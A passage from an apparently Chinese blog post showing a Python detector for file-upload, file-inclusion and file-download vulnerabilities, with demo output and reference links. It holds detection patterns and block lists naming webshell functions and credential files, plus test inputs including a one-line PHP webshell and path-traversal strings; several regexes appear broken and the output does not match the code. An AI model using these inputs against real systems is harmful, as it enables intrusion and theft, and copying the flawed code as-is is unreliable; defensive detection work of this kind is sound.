    is_safe: bool
    threat_level: ThreatLevel
    vuln_type: VulnerabilityType
    matched_rules: List[str]
    details: str
    suggestions: List[str]


class FileUploadDetector:
    def __init__(self):
        self._init_dangerous_extensions()
        self._init_mime_types()
        self._init_magic_bytes()
        self._init_webshell_patterns()

    def _init_dangerous_extensions(self):
        self.dangerous_extensions = {
            'critical': ['.php', '.php3', '.php4', '.php5', '.phtml', '.asp', '.aspx', '.jsp', '.jspx', '.cgi', '.pl', '.py', '.rb', '.sh', '.bash', '.exe', '.bat', '.cmd', '.vbs', '.ps1'],
            'high': ['.htaccess', '.htpasswd', '.ini', '.conf', '.config', '.xml', '.json', '.yaml', '.yml'],
            'medium': ['.sql', '.db', '.sqlite', '.mdb', '.accdb'],
        }

        self.safe_extensions = [
            '.jpg', '.jpeg', '.png', '.gif', '.bmp', '.webp', '.svg',
            '.pdf', '.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx',
            '.txt', '.csv', '.zip', '.rar', '.tar', '.gz', '.bz2',
            '.mp3', '.mp4', '.avi', '.mov', '.wmv', '.flv',
        ]

        self.dangerous_ext_pattern = re.compile(
            r'.(' + '|'.join(self.dangerous_extensions['critical'] + 
                            self.dangerous_extensions['high'] + 
                            self.dangerous_extensions['medium']) + ')$',
            re.IGNORECASE
        )

    def _init_mime_types(self):
        self.dangerous_mime_types = [
            'application/x-php',
            'application/x-httpd-php',
            'application/x-python',
            'application/x-sh',
            'application/x-shellscript',
            'application/x-executable',
            'application/x-msdownload',
            'text/x-python',
            'text/x-shellscript',
        ]

    def _init_magic_bytes(self):
        self.magic_bytes_signatures = {
            b'<?php': 'PHP',
            b'<?=': 'PHP',
            b'<%': 'ASP',
            b'<script': 'JSP/Java',
            b'#!': 'Shell',
            b'#!/bin': 'Shell',
            b'MZ': 'EXE/PE',
            b'\xfe\xed\xce\xcd': 'Mach-O',
            b'\x7fELF': 'ELF',
        }

    def _init_webshell_patterns(self):
        self.webshell_patterns = [
            (r'<?php\s+system\s*(', 'PHP system函数 webshell'),
            (r'<?php\s+exec\s*(', 'PHP exec函数 webshell'),
            (r'<?php\s+shell_exec', 'PHP shell_exec webshell'),
            (r'<?php\s+passthru', 'PHP passthru webshell'),
            (r'<?php\s+popen', 'PHP popen函数 webshell'),
            (r'<%\s*Dim\s+', 'ASP webshell'),
            (r'<%\s*Request', 'ASP webshell请求'),
            (r'<script\s+language\s*=\s*["']?java', 'JSP webshell'),
            (r'Runtime.getRuntime()', 'Java Runtime webshell'),
            (r'ProcessBuilder', 'Java进程执行'),
            (r'import\s+os', 'Python os模块'),
            (r'subprocess', 'Python subprocess模块'),
            (r'eval\s*(', '代码执行函数'),
            (r'exec\s*(', '执行函数'),
            (r'base64_decode', 'Base64编码特征'),
            (r'assert\s*(', '断言执行'),
            (r'create_function', '动态函数创建'),
            (r'call_user_func', '回调函数执行'),
        ]

        self.compiled_webshell_patterns = [
            (re.compile(p, re.IGNORECASE), desc) for p, desc in self.webshell_patterns
        ]

    def detect(self, filename: str, content: bytes = None, mime_type: str = None) -> DetectionResult:
        matched_rules = []
        threat_details = []

        ext_result = self._check_extension(filename)
        matched_rules.extend(ext_result['matched'])
        threat_details.extend(ext_result['details'])

        if mime_type:
            mime_result = self._check_mime_type(mime_type)
            matched_rules.extend(mime_result['matched'])
            threat_details.extend(mime_result['details'])

        if content:
            magic_result = self._check_magic_bytes(content)
            matched_rules.extend(magic_result['matched'])
            threat_details.extend(magic_result['details'])

            webshell_result = self._detect_webshell(content)
            matched_rules.extend(webshell_result['matched'])
            threat_details.extend(webshell_result['details'])

        is_safe = len(matched_rules) == 0
        threat_level = self._calculate_threat_level(matched_rules)

        suggestions = self._generate_suggestions(matched_rules, filename)

        return DetectionResult(
            is_safe=is_safe,
            threat_level=threat_level,
            vuln_type=VulnerabilityType.FILE_UPLOAD,
            matched_rules=matched_rules,
            details="; ".join(threat_details) if threat_details else "未检测到威胁",
            suggestions=suggestions
        )

    def _check_extension(self, filename: str) -> Dict:
        matched = []
        details = []

        if self.dangerous_ext_pattern.search(filename):
            ext = Path(filename).suffix
            if ext.lower() in [e.lower() for e in self.dangerous_extensions['critical']]:
                matched.append(f"危险扩展名: {ext}")
                details.append(f"检测到危险文件扩展名: {ext}")
            elif ext.lower() in [e.lower() for e in self.dangerous_extensions['high']]:
                matched.append(f"高风险扩展名: {ext}")
                details.append(f"检测到高风险扩展名: {ext}")
            else:
                matched.append(f"中风险扩展名: {ext}")
                details.append(f"检测到中风险扩展名: {ext}")

        if not Path(filename).suffix:
            matched.append("无扩展名检测")
            details.append("文件无扩展名,可能隐藏真实类型")

        return {'matched': matched, 'details': details}

    def _check_mime_type(self, mime_type: str) -> Dict:
        matched = []
        details = []

        if mime_type in self.dangerous_mime_types:
            matched.append(f"危险MIME类型: {mime_type}")
            details.append(f"检测到危险MIME类型: {mime_type}")

        return {'matched': matched, 'details': details}

    def _check_magic_bytes(self, content: bytes) -> Dict:
        matched = []
        details = []

        if not content:
            return {'matched': matched, 'details': details}

        for signature, file_type in self.magic_bytes_signatures.items():
            if content.startswith(signature):
                matched.append(f"危险文件头: {file_type}")
                details.append(f"检测到可执行文件头: {file_type}")
                break

        return {'matched': matched, 'details': details}

    def _detect_webshell(self, content: bytes) -> Dict:
        matched = []
        details = []

        try:
            content_str = content.decode('utf-8', errors='ignore')
            for pattern, desc in self.compiled_webshell_patterns:
                if pattern.search(content_str):
                    matched.append(f"Webshell特征: {desc}")
                    details.append(f"检测到Webshell特征: {desc}")
        except Exception:
            pass

        return {'matched': matched, 'details': details}

    def _calculate_threat_level(self, matched_rules: List[str]) -> ThreatLevel:
        critical_keywords = ['critical', 'webshell', 'PHP', 'ASP', 'JSP', 'EXE', 'ELF']
        high_keywords = ['high', 'dangerous', 'shell', 'script', 'executable']
        medium_keywords = ['medium', 'sql', 'database']

        matched_text = ' '.join(matched_rules).lower()

        if any(k in matched_text for k in critical_keywords):
            return ThreatLevel.CRITICAL
        elif any(k in matched_text for k in high_keywords):
            return ThreatLevel.HIGH
        elif any(k in matched_text for k in medium_keywords):
            return ThreatLevel.MEDIUM
        elif matched_rules:
            return ThreatLevel.LOW
        return ThreatLevel.SAFE

    def _generate_suggestions(self, matched_rules: List[str], filename: str) -> List[str]:
        suggestions = []

        if any('extension' in r.lower() for r in matched_rules):
            suggestions.append("使用白名单验证文件扩展名,仅允许安全格式")

        if any('mime' in r.lower() for r in matched_rules):
            suggestions.append("验证Content-Type头,禁止危险MIME类型")

        if any('webshell' in r.lower() for r in matched_rules):
            suggestions.append("深度内容检测,识别恶意代码特征")

        if any('header' in r.lower() or 'magic' in r.lower() for r in matched_rules):
            suggestions.append("检查文件头,确保文件类型与扩展名一致")

        if not suggestions:
            suggestions = [
                "使用白名单验证文件扩展名",
                "验证文件MIME类型和文件头",
                "将上传文件存储在Web根目录外",
                "重命名上传文件,使用随机文件名",
                "限制文件大小,防止资源耗尽"
            ]

        return suggestions


class FileIncludeDetector:
    def __init__(self):
        self._init_path_traversal_patterns()
        self._init_protocol_patterns()
        self._init_sensitive_paths()
        self._init_include_functions()

    def _init_path_traversal_patterns(self):
        self.path_traversal_patterns = [
            (r'..[\/]', "目录遍历"),
            (r'..%2f', "URL编码遍历"),
            (r'..%5c', "URL编码反斜杠"),
            (r'../', "Unix目录遍历"),
            (r'..\', "Windows目录遍历"),
            (r'..%c0..', "UTF-8编码遍历"),
            (r'%2e%2e', "双URL编码遍历"),
            (r'../../', "多层遍历"),
        ]

        self.compiled_traversal_patterns = [
            (re.compile(p, re.IGNORECASE), desc) for p, desc in self.path_traversal_patterns
        ]

    def _init_protocol_patterns(self):
        self.dangerous_protocols = [
            (r'php://input', "PHP输入流"),
            (r'php://filter', "PHP过滤器"),
            (r'data://', "Data协议"),
            (r'expect://', "Expect协议"),
            (r'file://', "File协议"),
            (r'ftp://', "FTP协议"),
            (r'sftp://', "SFTP协议"),
            (r'phar://', "PHP归档协议"),
            (r'zip://', "Zip协议"),
            (r'glob://', "Glob协议"),
            (r'rar://', "RAR协议"),
        ]

        self.compiled_protocol_patterns = [
            (re.compile(p, re.IGNORECASE), desc) for p, desc in self.dangerous_protocols
        ]

    def _init_sensitive_paths(self):
        self.sensitive_paths = {
            'critical': [
                '/etc/passwd', '/etc/shadow', '/etc/group',
                'C:\Windows\System32\config\SAM', 'C:\Windows\win.ini',
                '/proc/self/passwd', '/proc/version', '/proc/cmdline',
                '/.ssh/authorized_keys', '/.git/config', '/.env',
            ],
            'high': [
                '/etc/hosts', '/etc/networks', '/etc/profile',
                'C:\Windows\System32\drivers\etc\hosts',
                '/var/www/html', '/home/', '/root/',
            ],
        }

        self.sensitive_patterns = [
            re.compile(re.escape(p), re.IGNORECASE) 
            for p in self.sensitive_paths['critical'] + self.sensitive_paths['high']
        ]

    def _init_include_functions(self):
        self.include_functions = [
            'include', 'include_once', 'require', 'require_once',
            'fopen', 'file_get_contents', 'file_put_contents',
            'readfile', 'highlight_file', 'show_source', 'file',
        ]

    def detect(self, user_input: str) -> DetectionResult:
        matched_rules = []
        threat_details = []

        traversal_result = self._check_path_traversal(user_input)
        matched_rules.extend(traversal_result['matched'])
        threat_details.extend(traversal_result['details'])

        protocol_result = self._check_dangerous_protocols(user_input)
        matched_rules.extend(protocol_result['matched'])
        threat_details.extend(protocol_result['details'])

        sensitive_result = self._check_sensitive_paths(user_input)
        matched_rules.extend(sensitive_result['matched'])
        threat_details.extend(sensitive_result['details'])

        is_safe = len(matched_rules) == 0
        threat_level = self._calculate_threat_level(matched_rules)

        suggestions = self._generate_suggestions(matched_rules)

        return DetectionResult(
            is_safe=is_safe,
            threat_level=threat_level,
            vuln_type=VulnerabilityType.FILE_INCLUDE,
            matched_rules=matched_rules,
            details="; ".join(threat_details) if threat_details else "未检测到威胁",
            suggestions=suggestions
        )

    def _check_path_traversal(self, user_input: str) -> Dict:
        matched = []
        details = []

        for pattern, desc in self.compiled_traversal_patterns:
            if pattern.search(user_input):
                matched.append(f"路径遍历: {desc}")
                details.append(f"检测到路径遍历攻击: {desc}")

        return {'matched': matched, 'details': details}

    def _check_dangerous_protocols(self, user_input: str) -> Dict:
        matched = []
        details = []

        for pattern, desc in self.compiled_protocol_patterns:
            if pattern.search(user_input):
                matched.append(f"危险协议: {desc}")
                details.append(f"检测到危险协议: {desc}")

        return {'matched': matched, 'details': details}

    def _check_sensitive_paths(self, user_input: str) -> Dict:
        matched = []
        details = []

        for pattern in self.sensitive_patterns:
            if pattern.search(user_input):
                matched.append("敏感路径访问")
                details.append("检测到访问系统敏感路径")
                break

        return {'matched': matched, 'details': details}

    def _calculate_threat_level(self, matched_rules: List[str]) -> ThreatLevel:
        critical_keywords = ['passwd', 'shadow', 'SAM', 'protocol', 'php://', 'data://']
        high_keywords = ['traversal', 'etc', 'windows', 'sensitive']

        matched_text = ' '.join(matched_rules).lower()

        if any(k in matched_text for k in critical_keywords):
            return ThreatLevel.CRITICAL
        elif any(k in matched_text for k in high_keywords):
            return ThreatLevel.HIGH
        elif matched_rules:
            return ThreatLevel.MEDIUM
        return ThreatLevel.SAFE

    def _generate_suggestions(self, matched_rules: List[str]) -> List[str]:
        suggestions = []

        if any('traversal' in r.lower() for r in matched_rules):
            suggestions.append("使用白名单验证包含文件路径,禁止../路径")

        if any('protocol' in r.lower() for r in matched_rules):
            suggestions.append("禁用远程文件包含,设置allow_url_include=0")

        if any('sensitive' in r.lower() or 'passwd' in r.lower() for r in matched_rules):
            suggestions.append("验证文件路径,确保在允许的目录范围内")

        if not suggestions:
            suggestions = [
                "使用白名单验证包含路径",
                "禁用远程文件包含(RFI)",
                "设置open_basedir限制访问目录",
                "使用realpath()验证最终路径",
                "避免用户直接控制包含路径"
            ]

        return suggestions


class FileDownloadDetector:
    def __init__(self):
        self._init_sensitive_paths()
        self._init_path_traversal_patterns()

    def _init_sensitive_paths(self):
        self.blocked_paths = {
            'critical': [
                '/etc/passwd', '/etc/shadow', '/etc/hosts', '/etc/group',
                'C:\Windows\System32\config\SAM', 'C:\Windows\win.ini',
                'C:\Windows\System32\cmd.exe', 'C:\Windows\System32\calc.exe',
                '/proc/', '/sys/', '/boot/', '/dev/',
                '/.ssh/', '/.git/', '/.env', '/var/log/',
            ],
            'high': [
                '/root/', '/home/', '/var/www/', '/tmp/',
                'C:\Users\', 'C:\Program Files\',
                'C:\Windows\', 'C:\ProgramData\',
            ],
        }

    def _init_path_traversal_patterns(self):
        self.traversal_patterns = [
            (r'..[\/]', "目录遍历"),
            (r'%2e%2e', "URL编码遍历"),
            (r'..%2f', "单编码遍历"),
        ]

    def detect(self, file_path: str, allowed_dir: str = None) -> DetectionResult:
        matched_rules = []
        threat_details = []

        traversal_result = self._check_path_traversal(file_path)
        matched_rules.extend(traversal_result['matched'])
        threat_details.extend(traversal_result['details'])

        sensitive_result = self._check_sensitive_path(file_path)
        matched_rules.extend(sensitive_result['matched'])
        threat_details.extend(sensitive_result['details'])

        if allowed_dir:
            boundary_result = self._check_directory_boundary(file_path, allowed_dir)
            matched_rules.extend(boundary_result['matched'])
            threat_details.extend(boundary_result['details'])

        is_safe = len(matched_rules) == 0
        threat_level = self._calculate_threat_level(matched_rules)

        suggestions = self._generate_suggestions(matched_rules)

        return DetectionResult(
            is_safe=is_safe,
            threat_level=threat_level,
            vuln_type=VulnerabilityType.FILE_DOWNLOAD,
            matched_rules=matched_rules,
            details="; ".join(threat_details) if threat_details else "未检测到威胁",
            suggestions=suggestions
        )

    def _check_path_traversal(self, file_path: str) -> Dict:
        matched = []
        details = []

        for pattern, desc in self.traversal_patterns:
            if re.search(pattern, file_path, re.IGNORECASE):
                matched.append(f"路径遍历: {desc}")
                details.append(f"检测到路径遍历: {desc}")

        return {'matched': matched, 'details': details}

    def _check_sensitive_path(self, file_path: str) -> Dict:
        matched = []
        details = []

        normalized_path = file_path.replace('\', '/')

        for blocked in self.blocked_paths['critical']:
            if blocked.lower() in normalized_path.lower():
                matched.append(f"敏感文件: {blocked}")
                details.append(f"禁止访问敏感路径: {blocked}")
                break

        if not matched:
            for blocked in self.blocked_paths['high']:
                if blocked.lower() in normalized_path.lower():
                    matched.append(f"受限路径: {blocked}")
                    details.append(f"检测到受限路径访问: {blocked}")
                    break

        return {'matched': matched, 'details': details}

    def _check_directory_boundary(self, file_path: str, allowed_dir: str) -> Dict:
        matched = []
        details = []

        try:
            allowed = Path(allowed_dir).resolve()
            requested = (Path(allowed_dir).parent / file_path).resolve()

            if not str(requested).startswith(str(allowed)):
                matched.append("目录越界")
                details.append("请求路径超出允许目录范围")
        except Exception:
            matched.append("路径解析错误")
            details.append("无法解析请求路径")

        return {'matched': matched, 'details': details}

    def _calculate_threat_level(self, matched_rules: List[str]) -> ThreatLevel:
        critical_keywords = ['passwd', 'shadow', 'SAM', 'cmd.exe', '/proc/']
        high_keywords = ['sensitive', 'windows', '/root/', '/etc/']

        matched_text = ' '.join(matched_rules).lower()

        if any(k in matched_text for k in critical_keywords):
            return ThreatLevel.CRITICAL
        elif any(k in matched_text for k in high_keywords):
            return ThreatLevel.HIGH
        elif matched_rules:
            return ThreatLevel.MEDIUM
        return ThreatLevel.SAFE

    def _generate_suggestions(self, matched_rules: List[str]) -> List[str]:
        suggestions = []

        if any('traversal' in r.lower() or '越界' in r for r in matched_rules):
            suggestions.append("验证路径规范,使用realpath()检查最终路径")

        if any('sensitive' in r.lower() or 'passwd' in r.lower() for r in matched_rules):
            suggestions.append("使用白名单限制可下载文件范围")

        if not suggestions:
            suggestions = [
                "使用白名单限制可下载目录",
                "使用realpath()验证最终文件路径",
                "禁止直接使用用户输入拼接文件路径",
                "验证文件存在性和可读权限",
                "记录下载日志便于审计"
            ]

        return suggestions


class FileVulnerabilityDetector:
    def __init__(self):
        self.upload_detector = FileUploadDetector()
        self.include_detector = FileIncludeDetector()
        self.download_detector = FileDownloadDetector()

    def detect_upload(self, filename: str, content: bytes = None, mime_type: str = None) -> DetectionResult:
        return self.upload_detector.detect(filename, content, mime_type)

    def detect_include(self, user_input: str) -> DetectionResult:
        return self.include_detector.detect(user_input)

    def detect_download(self, file_path: str, allowed_dir: str = None) -> DetectionResult:
        return self.download_detector.detect(file_path, allowed_dir)

    def detect_all(self, user_input: str, file_path: str = None, filename: str = None, 
                   content: bytes = None, mime_type: str = None, allowed_dir: str = None) -> List[DetectionResult]:
        results = []

        if filename:
            results.append(self.detect_upload(filename, content, mime_type))

        if user_input:
            results.append(self.detect_include(user_input))
            if file_path:
                results.append(self.detect_download(file_path, allowed_dir))

        return results


class FileVulnerabilityProtector:
    def __init__(self):
        self.detector = FileVulnerabilityDetector()

    def protect_upload(self, filename: str, content: bytes = None, mime_type: str = None,
                       allowed_extensions: List[str] = None, max_size: int = 5*1024*1024) -> Tuple[bool, str, List[str]]:
        result = self.detector.detect_upload(filename, content, mime_type)

        if result.is_safe:
            if allowed_extensions:
                ext = Path(filename).suffix.lower()
                if ext not in [e.lower() for e in allowed_extensions]:
                    return False, "", ["扩展名不在白名单中"]

            sanitized = self._sanitize_filename(filename)
            return True, sanitized, result.suggestions

        return False, "", result.suggestions

    def protect_include(self, user_input: str, allowed_paths: List[str] = None) -> Tuple[bool, str, List[str]]:
        result = self.detector.detect_include(user_input)

        if result.is_safe:
            if allowed_paths:
                if not any(allowed in user_input for allowed in allowed_paths):
                    return False, "", ["包含路径不在白名单中"]

            sanitized = self._sanitize_path(user_input)
            return True, sanitized, result.suggestions

        return False, "", result.suggestions

    def protect_download(self, file_path: str, allowed_dir: str) -> Tuple[bool, str, List[str]]:
        result = self.detector.detect_download(file_path, allowed_dir)

        if result.is_safe:
            sanitized = self._sanitize_path(file_path)
            return True, sanitized, result.suggestions

        return False, "", result.suggestions

    def _sanitize_filename(self, filename: str) -> str:
        import uuid
        name = Path(filename).stem
        ext = Path(filename).suffix
        safe_name = re.sub(r'[^\w-_.]', '', name)
        return f"{safe_name}_{uuid.uuid4().hex[:8]}{ext}"

    def _sanitize_path(self, path: str) -> str:
        sanitized = path.replace('..', '')
        sanitized = re.sub(r'[^\w-./\]', '', sanitized)
        return sanitized


def main():
    protector = FileVulnerabilityProtector()

    print("=" * 70)
    print("文件类漏洞检测与防护系统")
    print("=" * 70)

    print("\n【文件上传检测】")
    upload_tests = [
        ("shell.php", b"<?php system($_GET['cmd']); ?>", "application/x-php"),
        ("image.jpg", b"\xff\xd8\xff\xe0\x00\x10JFIF", "image/jpeg"),
        ("backdoor.asp", b"<% Dim obj %><% Set obj = Server.CreateObject(Request) %>", "text/html"),
        ("config.yml", b"database: mysql\npassword: secret", "text/yaml"),
    ]

    for filename, content, mime in upload_tests:
        result = protector.detector.detect_upload(filename, content, mime)
        print(f"\n文件: {filename}")
        print(f"  安全: {'✓' if result.is_safe else '✗'} | 等级: {result.threat_level.value}")
        if result.matched_rules:
            print(f"  规则: {result.matched_rules[0]}")

    print("\n【文件包含检测】")
    include_tests = [
        "../../../etc/passwd",
        "page.php?file=php://input",
        "../include/header.php",
        "/var/www/html/config.php",
    ]

    for test_input in include_tests:
        result = protector.detector.detect_include(test_input)
        print(f"\n输入: {test_input}")
        print(f"  安全: {'✓' if result.is_safe else '✗'} | 等级: {result.threat_level.value}")
        if result.matched_rules:
            print(f"  规则: {result.matched_rules[0]}")

    print("\n【文件下载检测】")
    download_tests = [
        "../../../etc/passwd",
        "/downloads/document.pdf",
        "C:\Windows\System32\config\SAM",
    ]

    for test_input in download_tests:
        result = protector.detector.detect_download(test_input, "/var/www/downloads")
        print(f"\n路径: {test_input}")
        print(f"  安全: {'✓' if result.is_safe else '✗'} | 等级: {result.threat_level.value}")
        if result.matched_rules:
            print(f"  规则: {result.matched_rules[0]}")

    print("\n" + "=" * 70)


if __name__ == "__main__":
    main()

结果

js 复制代码
======================================================================
文件类漏洞检测与防护系统
======================================================================

【文件上传检测】

文件: shell.php
  安全: ✗ | 等级: critical
  规则: 危险MIME类型: application/x-php

文件: image.jpg
  安全: ✓ | 等级: safe

文件: backdoor.asp
  安全: ✗ | 等级: critical
  规则: 危险文件头: ASP

文件: config.yml
  安全: ✓ | 等级: safe

【文件包含检测】

输入: ../../../etc/passwd
  安全: ✗ | 等级: medium
  规则: 路径遍历: 目录遍历

输入: page.php?file=php://input
  安全: ✗ | 等级: medium
  规则: 危险协议: PHP输入流

输入: ../include/header.php
  安全: ✗ | 等级: medium
  规则: 路径遍历: 目录遍历

输入: /var/www/html/config.php
  安全: ✗ | 等级: medium
  规则: 敏感路径访问

【文件下载检测】

路径: ../../../etc/passwd
  安全: ✗ | 等级: critical
  规则: 路径遍历: 目录遍历

路径: /downloads/document.pdf
  安全: ✗ | 等级: medium
  规则: 目录越界

路径: C:\Windows\System32\config\SAM
  安全: ✗ | 等级: medium
  规则: 目录越界

uploads靶场writeup推荐 www.cnblogs.com/DSchenzi/p/...

参考文章:

1.www.cnblogs.com/red1giant-s...

2.www.cnblogs.com/red1giant-s...

3.segmentfault.com/a/119000004...

相关推荐
tryCbest2 小时前
Python之Flask开发框架(第一篇) — 从安装到第一个应用
开发语言·python·flask
zhangzeyuaaa2 小时前
Python getter/setter 正确用法详解
开发语言·python
源码之家2 小时前
计算机毕业设计:Python智慧交通大数据分析平台 Flask框架 requests爬虫 出行速度预测 拥堵预测(建议收藏)✅
大数据·hadoop·爬虫·python·数据分析·flask·课程设计
Shaoxi Zhang2 小时前
pm2运行项目实践记录(通过ecosystem.config.js配置并自动运行)
javascript·python·pycharm
华科大胡子2 小时前
开发者的临时文件自动化工具
python
Mr_Xuhhh2 小时前
算法题解合集:回文子串、不相邻取数、空调遥控
python
witAI2 小时前
**AI仿真人剧技术解析2025,专业评估与适配指南**
人工智能·python
程序设计实验室2 小时前
现代 Python 程序优雅处理日期时间的避坑指南
python
心疼你的一切2 小时前
【矛与盾的博弈:ZLibrary反爬机制实战分析与绕过技术全解析】
人工智能·爬虫·python·网络爬虫